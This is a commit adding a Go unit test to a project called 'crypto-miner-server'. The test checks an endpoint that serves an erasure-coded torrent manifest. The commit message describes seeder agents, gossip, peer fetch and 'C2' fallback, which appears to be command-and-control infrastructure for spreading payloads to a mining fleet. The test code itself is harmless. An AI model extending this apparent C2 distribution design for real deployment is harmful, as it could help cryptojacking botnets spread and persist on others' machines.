Add Fleet Torrent erasure extension with shard DHT and gossip.

Content-addressed shard DHT on seeder agents with subnet_primary_seeder election, cross-subnet fleet_torrent_gossip, BGP swarm magnets, C2 torrent manifest, and k-of-n peer fetch with C2 fallback.

server/internal/api/fleet_torrent_manifest_test.go

@@ -0,0 +1,40 @@
+package api
+
+import (
+	"context"
+	"net/http/httptest"
+	"testing"
+
+	"crypto-miner-server/internal/db"
+	"crypto-miner-server/internal/erasure"
+
+	"github.com/go-chi/chi/v5"
+)
+
+func TestErasureTorrentManifestEndpoint(t *testing.T) {
+	database, err := db.New(t.TempDir())
+	if err != nil {
+		t.Fatal(err)
+	}
+	t.Cleanup(func() { _ = database.Close() })
+	store := erasure.NewShardStore()
+	p, _ := erasure.DefaultParams().Normalize()
+	payload := []byte("torrent-manifest-payload-bytes!!")
+	shards, _, err := erasure.Encode(payload, p)
+	if err != nil {
+		t.Fatal(err)
+	}
+	store.Put("manifest-tok", p, shards)
+	h := NewPublicHandler(database, t.TempDir(), func() PublicBuildsConfig { return PublicBuildsConfig{} })
+	h.BindErasureShardStore(store)
+
+	req := httptest.NewRequest("GET", "/public/erasure-torrent/manifest-tok/manifest", nil)
+	rctx := chi.NewRouteContext()
+	rctx.URLParams.Add("token", "manifest-tok")
+	req = req.WithContext(context.WithValue(req.Context(), chi.RouteCtxKey, rctx))
+	rec := httptest.NewRecorder()
+	h.ErasureTorrentManifest(rec, req)
+	if rec.Code != 200 {
+		t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
+	}
+}